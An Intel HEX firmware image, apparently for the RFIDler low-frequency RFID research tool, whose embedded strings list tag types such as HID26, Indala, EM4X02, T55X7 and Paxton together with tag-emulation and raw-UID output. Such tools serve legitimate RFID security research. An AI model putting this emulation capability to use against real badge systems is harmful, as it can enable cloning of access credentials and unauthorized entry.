:102df40003004015000000000800e0030000022466
:102e040001008a9003004015000000000800e00360
:102e14000100022402008a90030040150000000013
:102e24000800e0030200022403008a900300401516
:102e3400822004000800e00303000224010084242b
:102e44008020040000008a8c0101093c010129351d
:102e5400c07909002340490124400f0106000011f4
:102e640024600a01040088110000000000008a9018
:102e7400220000100000842404008b8c234069018c
:102e840024400f010600001124600b010400881186
:102e94000000000004008a9018000010040084243c
:102ea40008008a8c2340490124400f0106000011c8
:102eb40024600a01040088110000000008008a90c0
:102ec4000e000010080084240c008b8c2340690140
:102ed40024400f010600001124600b010400881136
:102ee400000000000c008a90040000100c008424f0
:102ef40010008a8cd7ff00101000842404004015b1
:102f040000000000000084240800e0032310820075
:102f140001008a9004004015000000000100842490
:102f24000800e0032310820002008a900400401588
:102f340000000000020084240800e0032310820043
:102f440003008a90030084240800e0032310820015
:020000040000fa
:020000041d05d8
:102f5400e0ffbd271c00bfaf1800b2af1400b1af33
:102f64001000b0af1700a0102180a0002190c00075
:102f74000e00c010211000000c008014211040022b
:102f84000000023c00004224150040102188c000cb
:102f9400010004240000000c01001026ffff31266c
:102fa400fbff2016ffff02a2211040021c00bf8f6e
:102fb4001800b28f1400b18f1000b08f0800e00326
:102fc4002000bd27211000001c00bf8f1800b28f05
:102fd4001400b18f1000b08f0800e0032000bd275b
:102fe40000a0023c3800438c020002242500621039
:102ff40080bf023c80bf023c0060428c80bf063c24
:103004003060c62480bf053c1060a5240080423097
:1030140005004014211040020080033480bf023cac
:10302400086043ac211040020000a38c010063300f
:1030340009006014a0000324134c410b000000009d
:1030440005006010000000000000a48c0100843022
:10305400fbff8010ffff63240000a38c010063309a
:10306400d2ff6054231042020000c38c01001026da
:10307400ffff4224ecff4014ffff03a2ec4b410b83
:103084002310420240684224daff401080bf023c11
:103094000068428c80bf063c3068c62480bf053c73
:0830a400044c410b1068a52447
:020000040000fa
:020000041d05d8
:1030ac000f0000008200000026020000ee0200006b
:1030bc009600000090010000c800000058020000bb
:1030cc00200000000d0a6f666673657420706173d2
:1030dc0074207a65726f2070756c7365732025642b
:1030ec00000000000d0a4261727269657220282589
:1030fc0064292000286261642070756c73652063fc
:10310c006f756e742025642920000000312028671b
:10311c0061702025642920003020286761702025eb
:10312c00642920002862616420676170202564296d
:10313c002000000020307825303278000d0a312034
:10314c004761703a2025642c200000000d0a3020c5
:10315c004761703a2025642c200000000d0a3f3f87
:10316c003f204761703a2025642c2000426974206e
:10317c0050756c73653a20256400000042617272d0
:10318c006965722050756c73653a202564000000e7
:10319c003f3f3f2050756c73653a2025640000005a
:1031ac00257300000d0a00004d657373616765207f
:1031bc00636865636b696e672c2063616c63756c07
:1031cc006174656420636865636b73756d3a203058
:1031dc007825780d0a0000002025303258000000b8
:1031ec00200000002020202025730d0a0000000084
:020000040000fa
:020000041d05d8
:1031fc00e0ffbd271c00bfaf1800b1af1400b0af8b
:10320c000c00a29402004330480060102180a00002
:10321c00000243301c0060100400a38c00024534f3
:10322c000c0005a61c006010ff0091300a0004245d
:10323c001f002412800042301000028e36006210f3
:10324c00010063240000028e01004424000004ae3f
:10325c00040003ae000051a00100032400a0023cb6
:10326c00c87143a00a000224180022520c000396d5
:10327c00211020021c00bf8f1800b18f1400b08fda
:10328c000800e0032000bd2728006014000245342c
:10329c000c0005a6ff0091300800048e000004ae5f
:1032ac000a000424e5ff24561000028e80004230f0
:1032bc00e2ff40541000028e0d0004247f4c410f9d
:1032cc0021280002914c410b0400038e0001633055
:1032dc00e8ff60100a0002240e0004960800058e18
:1032ec00e253410f0400068e0400038e0600435087
:1032fc000800038e0c000296ffff112430004234ac
:10330c000c0002a60800038e040000ae211020025f
:10331c00a04c410b000003ae2024117c094e410f40
:10332c0021280002a14c410b1c00bf8fa04c410b6b
:04333c00ffff022469
:020000040000fa
:020000041d05d8
:10334000f0ffbd270c00beaf21f0a0030200c0a714
:10335000164d410b000000000400c0a70200c297f8
:10336000060040140000000089bf023c0093428c1c
:103370000000c2a7ed4c410b000000000200c39703
:1033800004000224060062140000000089bf023c11
:103390001093428c0000c2a7ed4c410b00000000ce
:1033a00089bf023c2093428c0000c2a70e4d410b06
:1033b000000000000e4d410b000000000000c2970d
:1033c0000f0042300600c2a70600c2970a00422c36
:1033d00006004010000000000600c29730004224a2
:1033e0000600c2a7fe4c410b000000000600c29779
:1033f000370042240600c2a70200c29701004324fe
:103400000200c3a72118400000a0023c401803009e
:1034100098724224211062000600c397020043a460
:103420000000c297021102000000c2a70400c29768
:10343000010042240400c2a70400c2970400422ce9
:1034400005004010000000000200c2970c00422c52
:10345000daff4014000000000200c2970c00422c6a
:10346000bdff40140000000021e8c0030c00be8f27
:0c3470001000bd270800e0030000000071
:020000040000fa
:020000041d05d8
:10347c00d0ffbd272c00bfaf2800b5af2400b4afe0
:10348c002000b3af1c00b2af1800b1af1400b0af46
:10349c0080180400059d023ca8664224211062009d
:1034ac00401904001c009324059d103cac4d1026c3
:1034bc00218003022190a0000000518c2120600289
:1034cc00212800002858410f21a8c0000800048eb4
:1034dc000c00058e00800234040022aef857410f18
:1034ec00008052361000048e1400058ee857410ff0
:1034fc002000543226008012059d023c059d023ca2
:10350c00e05f42240000048e09f840000400058ea0
:10351c000080023c80004224241042020a00401029
:10352c00000000001c0041068007427e1d00401078
:10353c00059d023c059d023ca05f42241800048eb0
:10354c0009f840001c00058e8458410f21206002b0
:10355c0042a81500ffffb526300035ae2000228ea4
:10356c0040000224140022ae000032ae2c00bf8fab
:10357c002800b58f2400b48f2000b38f1c00b28fad
:10358c001800b18f1400b08f0800e0033000bd2785
:10359c00444d410ba05f4224e7ff8052059d023c45
:0c35ac00059d023c524d410be05f4224a3
:020000040000fa
:020000041d05d8
:1035b800c8ffbd273400bfaf3000b7af2c00b6af8f
:1035c8002800b5af2400b4af2000b3af1c00b2afe1
:1035d8001800b1af1400b0af21a0c0002188e000ee
:1035e8002518e6000300633004006014010002247b
:1035f8000d00c01421b08000211000003400bf8fde
:103608003000b78f2c00b68f2800b58f2400b48ff8
:103618002000b38f1c00b28f1800b18f1400b08f38
:103628000800e0033800bd2721b8a00000f01224ec
:1036380024909200ff0f95302120e00021284002bd
:10364800214b410f2130a002001013242380750262
:103658002b101402190040142128e0022120350201
:103668002128e002214b410f21308002233014022f
:103678001900c0142120b40221a00000b058410f45
:10368800212040022180000021201202212830023e
:103698003758410f00021026fcff13162120120292
:1036a800d5ff801221a80000238075022b10140278
:1036b800eaff40102190c0022128e00221203502b3
:1036c800214b410f2130000223a0900221b0d002eb
:1036d800a14d410b21b8f0022128d402214b410f02
:0c36e80021202402a14d410b21a0000074
:020000040000fa
:020000041d05d8
:1036f4000d0a0d0a20204869676820504f5420287d
:1037040077697065722030292076616c75653a207e
:10371400256400000d0a4869676820504f5420282a
:103724007769706572203029207265616420666152
:10373400696c656421202564000000000d0a2020c6
:103744004c6f7720504f5420287769706572203170
:10375400292076616c75653a202564000d0a4c6f4a
:103764007720504f542028776970657220312920c2
:1037740072656164206661696c656421202564005a
:103784000d0a0d0a202048696768204e5620504fc4
:1037940054202877697065722030292076616c7511
:1037a40065202564000000000d0a48696768204e02
:1037b4005620504f54202877697065722030292094
:1037c40072656164206661696c656421202564000a
:1037d4000d0a20204c6f77204e5620504f5420283d
:1037e40077697065722031292076616c75652025b2
:1037f400640d0a000d0a4c6f77204e5620504f542a
:1038040020287769706572203129207265616420ef
:103814006661696c6564212025640d0a000000005e
:020000040000fa
:020000041d05d8
:10382400e8ffbd271400bfaf1000b0af2180a00097
:103834000c00a294400043301c0060141800a4a3a0
:10384400020043303d006050300042341000a38c2d
:103854001b0060500e00a4940800a58c2d00a050fd
:1038640000a0053c0400068ee253410f0e000496ae
:103874000800028e1800a38301004424ffff0524de
:10388400040005ae000004ae000043a01800a283ab
:103894000a000324130043500c0003961400bf8f46
:1038a4001000b08f0800e0031800bd272014047c2a
:1038b4001400bf8f1000b08f0800e0031800bd276c
:1038c4001800a527e253410f01000624040000aeae
:1038d4001800a2831400bf8f1000b08f0800e0030b
:1038e4001800bd2700016330edff60101400bf8f86
:1038f4000e0004960800058ee253410f0400068e64
:103904000800038e1800a283040000ae284e410b69
:10391400000003aeec71a524200003240800423407
:10392400080005ae000005ae100003ae040003aeaf
:103934000c0002a61b4e410b200006240c00a2a47e
:0c3944000400a0ac284e410bffff022441
:020000040000fa
:020000041d05d8
:1039500025408500030008313d0000150101093ca8
:1039600001012935c07909000000828c0000a38c78
:10397000234049000400431024400f010000842428
:10398000330000100000a52405000011246003018d
:1039900003008811000000000800e003211000006f
:1039a0000400828c0400a38c2340490004004310cf
:1039b00024400f0104008424250000100400a524e5
:1039c00005000011246003010300881100000000bd
:1039d0000800e003211000000800828c0800a38c7e
:1039e000234049000400431024400f0108008424b0
:1039f000170000100800a524050000112460030131
:103a000003008811000000000800e00321100000fe
:103a10000c00828c0c00a38c23404900040043104e
:103a200024400f010c008424090000100c00a52480
:103a300010008424ccff00111000a5242460030191
:103a4000caff88110000828c0800e00321100000ea
:103a5000000088900000a990030000110100842458
:103a6000fbff09110100a5240800e0032310090150
:020000040000fa
:020000041d05d8
:103a70004e4f4e450000000041534b52415700004d
:103a800046534b315241570046534b325241570037
:103a900050534b315241570050534b325241570013
:103aa00050534b335241570048495441473100006d
:103ab0004849544147320000454d345830320000e7
:103ac000513500004849443236000000494e444117
:103ad0004c41363400000000494e44414c413232e2
:103ae00034000000554e49515545000046445842a7
:103af0000000000054353558370000004157494454
:103b000032360000454d34583035000054414d41a7
:103b1000474f5443484900004844580050415854c6
:103b20004f4e00004e6f6e650000000041534b2f5a
:103b30004f4f4b0046534b0050534b002573000032
:103b40000d0a4b6e6f776e20544147207479706573
:103b5000733a0d0a000000000d0a202025730000b2
:103b60000d0a00000d0a202025733a2000000000f5
:103b700030303030303030300000000034443439e0
:0c3b80003442353200000000000000005c
:020000040000fa
:020000041d05d8
:103b8c00e8ffbd271400bfaf1000b0afc559410fff
:103b9c002180800088bf063c0030c78c0003e77c86
:103bac000800e014004003360010042488bf033cd6
:103bbc00083064ac0030c38c00086330fdff601427
:103bcc000040033681bf103c00f403ae00480540b2
:103bdc000048034023186500f000632cfcff6014c0
:103bec0081bf033c99aa043c5566842410f464ac50
:103bfc006655043caa99843410f464ac00800434f7
:103c0c0081bf033c08f464ac00f4038e0080633085
:103c1c00fdff60140040042481bf033c04f464ac39
:103c2c001200e010001004240030c38c0003637ced
:103c3c000600601488bf033c083064ac0030c38cb1
:103c4c0000086330fdff6014000000002059410f94
:103c5c002120400000f4028e003042301400bf8f4f
:103c6c001000b08f0800e0031800bd2788bf033c8c
:103c7c00043064ac2059410f2120400000f4028e26
:103c8c00003042301400bf8f1000b08f0800e003ea
:043c9c001800bd2728
:020000040000fa
:020000041d05d8
:103ca000002020202020202020202828282828200c
:103cb0002020202020202020202020202020202004
:103cc0002080101010101010101010101010101074
:103cd000100404040404040404040410101010105c
:103ce0001010414141414141010101010101010126
:103cf0000101010101010101010101011010101078
:103d000010104242424242420202020202020202f7
:103d1000020202020202020202020202101010104b
:103d20002000000000000000000000000000000073
:103d30000000000000000000000000000000000083
:103d40000000000000000000000000000000000073
:103d50000000000000000000000000000000000063
:103d60000000000000000000000000000000000053
:103d70000000000000000000000000000000000043
:103d80000000000000000000000000000000000033
:103d90000000000000000000000000000000000023
:043da000000000001f
:020000040000fa
:020000041d05d8
:103da400e0ffbd271c00bfaf1800b2af1400b1afd5
:103db4001000b0af218080000c00839411006430a7
:103dc400010002241c008214000262301800401416
:103dd4000400028efffd63300c0003a61a001124b8
:103de4000d0012241f004018ffff44240000028e1f
:103df400040004ae01004424000004ae000042901c
:103e040080006430050080141c00bf8f1c005150da
:103e14000800028e110052500400028e1800b28f66
:103e24001400b18f1000b08f0800e0032000bd27fc
:103e3400e9ff4050fffd6330100063340c0003a61b
:103e4400ffff02241c00bf8f1800b28f1400b18f33
:103e54001000b08f0800e0032000bd27e3ff401ce2
:103e6400ffff442440006230f3ff4014212000028d
:103e7400bf4a410f00000000814f410b0c00039624
:103e8400eeff4050100063340400048e0000028ee4
:103e940001008424ffff4224040004ae8f4f410b31
:043ea400000002ae6a
:020000040000fa
:020000041d05d8
:103ea800c03d867cffffc824fe00082dc24f0400d9
:103eb8002b00001100b0877c81ffc6248000023ce3
:103ec8002510e2002130c5007f00c32418006018c7
:103ed800c0100200070044300d008014c000447c6c
:103ee800ff00642824008010c2100200c005447c32
:103ef800020080502118000000b0427c004a0900ee
:103f080025186900c01d03000800e00325106200a1
:103f18000300422421104400c2260200f1ff801051
:103f2800ff00642842100200ba4f410b01006324cd
:103f380082ff0324231866001b00642812008050a7
:103f4800211000009e00c424042082000610620094
:103f58002b18040025106200b74f410b0100032401
:103f68000300c014000000000900e0142018e370ea
:103f78000800e0032110800000120900ff0042340d
:103f88000800e003c0150200c14f410b21180000d2
:103f9800f8ff6224041047008aff0624b34f410b40
:043fa8002330c300ff
:020000040000fa
:020000041d05d8
:103fac0000010102010202030102020302030304e5
:103fbc0001020203020303040203030403040405c5
:103fcc0001020203020303040203030403040405b5
:103fdc000203030403040405030404050405050695
:103fec000102020302030304020303040304040595
:103ffc000203030403040405030404050405050675
:10400c000203030403040405030404050405050664
:10401c000304040504050506040505060506060744
:10402c000102020302030304020303040304040554
:10403c000203030403040405030404050405050634
:10404c000203030403040405030404050405050624
:10405c000304040504050506040505060506060704
:10406c000203030403040405030404050405050604
:10407c0003040405040505060405050605060607e4
:10408c0003040405040505060405050605060607d4
:10409c0004050506050606070506060706070708b4
:020000040000fa
:020000041d05d8
:1040ac00c03a0500425d04002538eb00c032040024
:1040bc000080013c2538e1000080013c2448a1002f
:1040cc00404005004245080080fc0825ffff0b25f9
:1040dc00fe00612d12002010000000000200c01034
:1040ec00000000000100e7348000e7248000eb2c86
:1040fc0021400b01025a070001006b312338eb0001
:10410c0040380700423a0700c05d08002538eb0034
:10411c002510e9000800e00300000000000000008a
:10412c007f0401240700011500000000405807001f
:10413c00255866010300601100000000f5ff001017
:10414c00c0ff023cff000129040020140000000005
:10415c00807f013cefff00102510210101000a2493
:10416c00235048012000412d0300201400000000c2
:10417c00e8ff00102510090020000c2423608a01a0
:10418c00045887012530cb0006384701000008246d
:10419c000080013cd1ff00102538e1000000000038
:020000040000fa
:020000041d05d8
:1041ac002020202020202020202020202020547976
:1041bc0070653a20257300000d0a20202020202055
:1041cc00202020456d756c6174696e673a202573eb
:1041dc00000000000d0a202020202020202020207c
:1041ec0020526177205549443a2025730000000085
:1041fc00696e76616c696421000000000d0a202054
:10420c002020202020202020202020202055494420
:10421c003a20257300000000257300000d0a0d0ada
:10422c00000000000d0a202020202020202020202b
:10423c0020202020446174613a0000000d0a2020e7
:10424c00202020202020202020202020202020255d
:10425c00643a20000d0a25643a20286661696c29ad
:10426c000d0a00000d0a25643a2000002046616901
:10427c006c656421000000002028417574682f4c87
:10428c006f67696e290000000d0a0d0a25643a203b
:10429c00000000000095000000000000000000007d
:1042ac0001f9000000000000000000000887000079
:1042bc00040000000000000009af00000000000036
:1042cc00010000000a1b00000000000001000000bb
:1042dc000cc3000001000000000000000daf000046
:1042ec00020000000000000010ff000000000000b1
:1042fc000000000011ff00000000000001000000a1
:10430c0012ff0000000000000100000018ff000078
:10431c00000000000100000019ff00000000000078
:10432c000100000020ff0000000000000000000061
:10433c0021ff0000000000000000000026df00004c
:10434c0001000000000000003773000000000000b6
:10435c00000000003a2500000400000000000000ee
:10436c003b250000000000000000000029ff0000b9
:10437c00040000000000000017ff00000000000017
:10438c000000000001000000000000000a00000016
:10439c00000000006400000000000000e8030000c2
:1043ac00000000001027000000000000a0860100a3
:1043bc000000000040420f000000000080969800b2
:1043cc000000000000e1f5050000000000ca9a3b67
:1043dc000000000000e40b540200000000e87648e6
:1043ec00170000000010a5d4e800000000a0724ed9
:1043fc001809000000407a10f35a00000080c6a48f
:10440c007e8d03000000c16ff286230000008a5de0
:10441c0078456301000064a7b3b6e00d0000e8899d
:10442c000423c78a286e756c6c2900003031323336
:10443c003435363738394142434445460000000094
:10444c0030313233343536373839616263646566fe
:10445c00000000000000003f0000803f00002041f1
:0c446c00cdcccc3d5f708940000000000a
:020000040000fa
:020000041d05d8
:10447800a8ffbd270400a1af0800a2af0c00a3af9e
:104488001000a4af1400a5af1800a6af1c00a7af7a
:104498002000a8af2400a9af2800aaaf2c00abaf1a
:1044a8003000acaf3400adaf3800aeaf3c00afafba
:1044b8004000b8af4400b9af4800bfaf1240000099
:1044c8004c00a8af104000005000a8af059d1a3c52
:1044d800405d5a2700000000006804400060054065
:1044e80009f84003000000005000a88f11000001e7
:1044f8004c00a88f130000010400a18f0800a28fb0
:104508000c00a38f1000a48f1400a58f1800a68f8d
:104518001c00a78f2000a88f2400a98f2800aa8f2d
:104528002c00ab8f3000ac8f3400ad8f3800ae8fcd
:104538003c00af8f4000b88f4400b98f4800bf8f50
:0c4548005800bd27c00000001800004211
:020000040000fa
:020000041d05d8
:10455400e8ffbd271400bfaf00a0023c3800428c26
:104564000a0040142024047c0000023c0000422481
:10457400250040100000023c0000000c0000000078
:104584001400bf8f0800e0031800bd2701000324b6
:104594001500431080bf053c80bf053c2068a5245e
:1045a40080bf023c1868422480bf063c0868c624c9
:1045b40080bf033c10686324008007340000c7ac4c
:1045c40000040624000046ac0000628c0001423066
:1045d400fdff4010000000000000a4ac1400bf8fd9
:1045e4000800e0031800bd272060a52480bf023c1a
:1045f4001860422480bf063c0860c62480bf033c88
:104604006f51410b1060632400004224e3ff40100b
:1046140080bf053c0000000c000000006251410b0b
:044624001400bf8f30
:020000040000fa
:020000041d05d8
:1046280001000000000000000a0000000000000077
:104638006400000000000000e80300000000000023
:104648001027000000000000a08601000000000004
:1046580040420f0000000000809698000000000013
:1046680000e1f5050000000000ca9a3b00000000c8
:1046780000e40b540200000000e876481700000030
:104688000010a5d4e800000000a0724e1809000030
:1046980000407a10f35a00000080c6a47e8d030003
:1046a8000000c16ff286230000008a5d784563012f
:1046b800000064a7b3b6e00d0000e8890423c78aa8
:1046c800286e756c6c29000030313233343536373a
:1046d8003839414243444546000000003031323306
:1046e8003435363738396162636465660000000026
:020000040000fa
:020000041d05d8
:1046f800e8ffbd271400bfaf1000beaf21f0a00334
:104708001800c4af1c00c5af2000c6af00a0023c13
:10471800dc564224870042900a0003240f0043100d
:1047280000000000120003240600431000000000ef
:10473800080003240f00431000000000e551410b5e
:10474800000000001c00c48f2000c58fa3e1400fab
:1047580000000000e651410b000000001c00c48f5f
:104768002000c58f0bd0400f00000000e651410b20
:10477800000000001c00c48f2000c58f06ae400f4b
:1047880000000000e651410b00000000211000006d
:1047980021e8c0031400bf8f1000be8f1800bd278a
:0847a8000800e003000000001e
:020000040000fa
:020000041d05d8
:1047b000e0ffbd271c00bfaf1800b2af1400b1afbf
:1047c0001000b0af80180400059d023ca86642248a
:1047d000211062000000428c1c0091240000528cc9
:1047e000212800004081040000800334040043ac11
:1047f00021202002059d023cac4d42242858410f47
:10480000218050008458410f212020020800048e8e
:10481000bb58410f0c00058e1000048ebb58410f91
:104820001400058e0000048ebb58410f0400058e55
:104830000080023c80004224249042020500401285
:104840001c00bf8f1800048ebb58410f1c00058e42
:104850001c00bf8f1800b28f1400b18f1000b08ff2
:084860000800e0032000bd2761
:020000040000fa
:020000041d05d8
:104868001201000202000040501d98602000010261
:104878000301000009024300020100c032090400dc
:1048880000010202000005240010010424020205b0
:10489800240600010524010001070582030800021f
:1048a80009040100020a0000000705030240000095
:1048b80007058302400000000403090426034100a1
:1048c80070006500720074007500720065002000b9
:1048d8004c0061006200730020004c00740064000a
:1048e8002e000000160352004600490044006c00e8
:1048f800650072002d004c00460000007c48059db4
:10490800c048059dc448059dec48059d987200a0c7
:020000040000fa
:020000041d05d8
:10491800c23d0400ff00e7300080013c24308100e4
:10492800ffffe924fe00212d0d00201000000000eb
:104938008003e724404a0400024b09002530c900df
:10494800402f0400004d07002530c9002510050040
:10495800251806000800e003000000000000000021
:104968000000052421208400f6ff801000000000cc
:104978000900e01400000000ffffe7242120840064
:104988008000013c2b088100fbff20140000000080
:10499800e7ff001000000000ff07072400ff013cac
:1049a800010021342b088100e6ff201400000000dc
:0c49b800e4ff0010f8ff063c00000000c7
:020000040000fa
:020000041d05d8
:1049c400211080002600c0101000ca2c1f004015c2
:1049d400ff00a530005205002528aa000054050058
:1049e4002528aa0003008330050060100400072472
:1049f4002338e3002330c700000085b82120870056
:104a04000f00c3302338c3000800e01021306000d9
:104a14002138e400000085ac040085ac080085acb6
:104a240010008424fbff8714fcff85ac0300c33013
:104a34002338c3000500e010213060002138e40071
:104a440004008424feff8714fcff85ac0400c0101e
:104a54002138c40001008424feff8714ffff85a0d1
:084a64000800e003000000005f
:020000040000fa
:020000041d05d8
:104a6c00e0ffbd271c00bfaf1800b0af059d103c88
:104a7c00a13c1026211890000000639004006730c0
:104a8c000a00e01021108000d0ff82242a28450063
:104a9c001300a014ff004230ff0002241c00bf8f43
:104aac001800b08f0800e0032000bd27010067301c
:104abc000400e050030063300d00c014000000003f
:104acc0003006330f5ff6050ff000224a9ff42246d
:104adc002a284500f1ffa050ff000224ff004230bd
:104aec001c00bf8f1800b08f0800e0032000bd270a
:104afc00ef58410f1000a5af218050000000039229
:104b0c00b352410b1000a58fe0ffbd271c00bfafb7
:104b1c001800b0af059d103ca13c10262118900048
:104b2c0000006390040067300a00e0102110800040
:104b3c00d0ff82242a2845001300a014ff00423025
:104b4c00ff0002241c00bf8f1800b08f0800e00388
:104b5c002000bd27010067300400e05003006330e3
:104b6c000d00c0140000000003006330f5ff60501e
:104b7c00ff000224a9ff42242a284500f1ffa0507f
:104b8c00ff000224ff0042301c00bf8f1800b08fc2
:104b9c000800e0032000bd27ef58410f1000a5af1f
:104bac002180500000000392dd52410b1000a58fb4
:020000040000fa
:020000041d05d8
:104bbc00200003240900052400008280feff4350de
:104bcc0001008424030045542d000324f152410bb1
:104bdc000100842419004310212880002b00032499
:104bec001a00431021480000059d083ca13c0825f3
:104bfc002118020100006390040063300c00601067
:104c0c002118000001008424d0ff4624000082807b
:104c1c0040380300c0180300212802010000a590b1
:104c2c002118e3000400a530f6ffa014211866003b
:104c3c00231003000800e0030a106900010084241b
:104c4c000100a280fd52410b0100092401008424c3
:084c5c00fd52410b0100a28092
:020000040000fa
:020000041d05d8
:104c64002530386c58000000253031366c6c580003
:104c740025325800257300002538580025580000b7
:104c84002530326c7800000025730d0a0000000006
:104c940025642000256400000d0a00002b0000009c
:104ca4002e0000000d0a4f4b0d0a0d0a00000000f3
:104cb4002125730d0a0000000d0a25730d0a0d0a43
:104cc400000000003f000000200000003c3f786d21
:104cd4006c2076657273696f6e3d22312e3022200e
:104ce400656e636f64696e673d225554462d3822a4
:104cf4003f3e00003c25733e000000003c2f25731e
:044d04003e0000006d
:020000040000fa
:020000041d05d8
:104d0800e0fdbd271c02bfaf1802beaf21f0a00313
:104d18002002c4af2402c5af2402c28f0000428023
:104d28000c004014000000001000c22721204000a1
:104d3800c62c410f000000000400401400000000d1
:104d4800211000006553410b000000001000c2272d
:104d58002402c2af00a0023cdc56422487004290e5
:104d68002118400007000224070062140000000018
:104d78002002c48f2402c58f4aab400f00000000f8
:104d88006553410b000000002110000021e8c0031a
:104d98001c02bf8f1802be8f2002bd270800e00347
:044da8000000000007
:020000040000fa
:020000041d05d8
:104dac0007000000000000000700000000000000e9
:104dbc0007000000000000000700000000000000d9
:104dcc0003000000000400000300000001000000cc
:104ddc0002000000100000000300000000020000b0
:104dec00060000004000000006000000000100006a
:104dfc000600000080000000060000000002000019
:104e0c00030000000080000005000000000100000d
:104e1c00050000000400000003000000004000003a
:104e2c00050000000020000005000000200000002c
:104e3c00050000001000000005000000001000003c
:020000040000fa
:020000041d05d8
:104e4c00e8ffbd271400bfaf1000b0af2180800079
:104e5c000c008294010244300100032417008310db
:104e6c0002024430020203240500831021100000ca
:104e7c001400bf8f1000b08f0800e0031800bd278e
:104e8c000800058efbffa0101400bf8f0400028edb
:104e9c00f9ff40501000b08f0e000496e253410f02
:104eac00213040000400038e040043100c000296d5
:104ebc0030004234ffff42300c0002a60800038e83
:104ecc004001427c040000ae000003ae231002003f
:104edc001400bf8f1000b08f0800e0031800bd272e
:020000040000fa
:020000041d05d8
:104eec00feff082440300400403805002548c70068
:104efc001b0020110000000000ff013c01002134c8
:104f0c002b08c1001a0020100000000000ff013c1b
:104f1c00010021342b08e1001500201000000000d6
:104f2c000200810442300600233006000200a10476
:104f3c0042380700233807002a08c7000300201056
:104f4c000000000007000010ffff02242a08e60002
:104f5c0003002010000000000200001001000224d9
:104f6c00000002240800e003000000000000000024
:0c4f7c00fcff00102510080000000000e1
:020000040000fa
:020000041d05d8
:104f88001800a010211000001200c0100300842c8b
:104f98001200801000000000e0ffbd271c00bfaf1a
:104fa8000000023c00004224100040101800b0af7e
:104fb8002120a0002128c0000000000c1400a6af8a
:104fc8001400a68f2110c0001c00bf8f1800b08fde
:104fd8002000bd270800e003000000000800e003ef
:104fe8002110c0000800e003000000002180c0007c
:104ff8000000a480ffff10260100a5241000a5af23
:105008005551410f1400a6af1000a58ff8ff0016e8
:0c5018001400a68ff453410b2110c000bf
:020000040000fa
:020000041d05d8
:105024000400c92805002011213886001700c01c7f
:10503400000000000800e003211000002540850066
:1050440003000831030000110000000010000010ec
:10505400000088900000888c0000a98c040084243f
:10506400050009110400a524fcffa524fcff8424e9
:105074000700001000008890fcffc624f5ffc01c48
:10508400000000000800e0032110000000008890e8
:105094000000a99001008424030009110100a52443
:1050a4000800e00323100901f8ff87140000000042
:0850b4000800e00321100000d8
:020000040000fa
:020000041d05d8
:1050bc00257300000d0a496e73657274206361726a
:1050cc00640000000d0a4c6f6164696e67204d65c9
:1050dc00646961000d0a44657465637465642053ea
:1050ec004420436172642073697a65202873656378
:1050fc00746f7273293a2025640000000d0a536501
:10510c0063746f722073697a653a2025640000001d
:10511c000d0a4469726563746f72793a0d0a0d0a4f
:10512c00000000002a2e2a002573090025730d0aa1
:10513c0000000000286469722900000025640d0a33
:10514c000000000005000000080000000d0a746952
:10515c00636b7320256c64000d0a312075733a2043
:10516c0025640000257300000d0a00000d0a313083
:10517c002075733a202564000d0a31303020757388
:10518c003a202564000000000d0a313030302075c3
:10519c00733a2025640000000d0a31302c30303079
:1051ac002075733a202564000d0a3130302c3030d4
:1051bc00302075733a202564000000000d0a312c54
:1051cc003030302c3030302075733a20256400009c
:020000040000fa
:020000041d05d8
:1051dc0000a0033cd07262800b0040140100042438
:1051ec005158023c2df44234d07264a0954c053ccd
:1051fc002e7fa5242118400000a0043cc87285ac69
:10520c000800e003cc7283ac00a0043cc872828c12
:10521c005158063c2df4c63402304670cc72878c43
:10522c00954c053c2d7fa52419004500121000005b
:10523c00101800000240e5702130060101004524e1
:10524c002b10a2002118c3002118430000f0627c2f
:0c525c00c87285ac0800e003cc7283ac83
:020000040000fa
:020000041d05d8
:10526800c2350400ff00c630ffffc924fe00212d0f
:105278000b0020100000000082ffc6247f80013c44
:10528800ffff213424208100003f013c25208100bc
:105298000000a6ac251004000800e0030000000090
:1052a8000d00c0140000000021488400f8ff201100
:1052b80000000000403a04002040e8702330c80095
:1052c800043807010080013c24208100024a0700bd
:1052d800e9ff001025208900c0ff043cecff001006
:0852e800000006240000000094
:020000040000fa
:020000041d05d8
:1052f000ff0000003f0000000f000000030000005e
:10530000df000000370000000d0000000200000078
:10531000bf0000002f0000000b0000000200000092
:105320009f000000270000000900000001000000ad
:105330007f0000001f0000000700000001000000c7
:105340005f000000170000000500000000000000e2
:105350003f0000000f0000000300000000000000fc
:105360001f00000007000000010000000000000016
:020000040000fa
:020000041d05d8
:10537000002a04000080013c2528a100c23d040051
:10538000ff00e7309e0006242330c7000d00c01840
:10539000000000002000c1280300201400000000cd
:1053a0000500001000000224020081040628c50048
:1053b00023280500251005000800e0030000000078
:1053c00000000000807f013c010021342b08810097
:1053d0000300201400000000f7ff00100080023cd2
:1053e000ff7f023cf4ff0010ffff4234000000008a
:020000040000fa
:020000041d05d8
:1053f000e8ffbd271400bfafc559410f00000000f2
:1054000088bf023c0030438c0003637c0900605479
:1054100081bf023c0010042488bf033c083064ac08
:105420000030438c00086330fdff60140000000072
:1054300081bf023c30f240ac99aa033c556663241c
:1054400030f243ac6655033caa99633430f243ac66
:105450000100032481bf023c18f643ac81bf023c2b
:0c54600010f6428c1955410b00000000b2
:020000040000fa
:020000041d05d8
:10546c00002a04000080013c2528a100c23d040054
:10547c00ff00e7309e0006242330c7000d00c00457
:10548c00000000002000c1280300201400000000d0
:10549c000500001000000224020081040628c5004b
:1054ac0023280500251005000800e003000000007b
:1054bc0000000000807f013c010021342b0881009a
:1054cc000300201400000000f7ff00100080023cd5
:0c54dc00f5ff0010ffff0224000000009c
:020000040000fa
:020000041d05d8
:1054e800000005242548050025380500253004005e
:1054f8000c00c010000000000600c10400000000fd
:105508000080093c2b5005002328050023300600a5
:105518002330ca001e0407242040c8702338e8003e
:1055280004300601c24205004055060025400a0124
:105538004050060002530a0025482a01005507007a
:1055480025482a0125100800251809000800e0034d
:0855580000000000000000004b
:020000040000fa
:020000041d05d8
:105560001000c010211080000000a480ffffc6249e
:10557000010043240100a52407008014000044a07a
:105580006c55410b21286600ffffa780ffffc62452
:105590000600e010ffff67a00100a524faffc01479
:1055a000010063240800e0030000000021286600d9
:1055b0000600c0100000000001006324feff651417
:1055c000ffff60a00800e003000000000800e00307
:0455d00000000000d7
:020000040000fa
:020000041d05d8
:1055d400ffff022417008210010003240c00a29490
:1055e400010246301300c354ffff02240800a68cb6
:1055f4001000c050ffff02240400a78c1000a38ced
:105604000c00e350ffff02240000a38c0b00c31026
:105614000100e7240400a7acffff672440004630e4
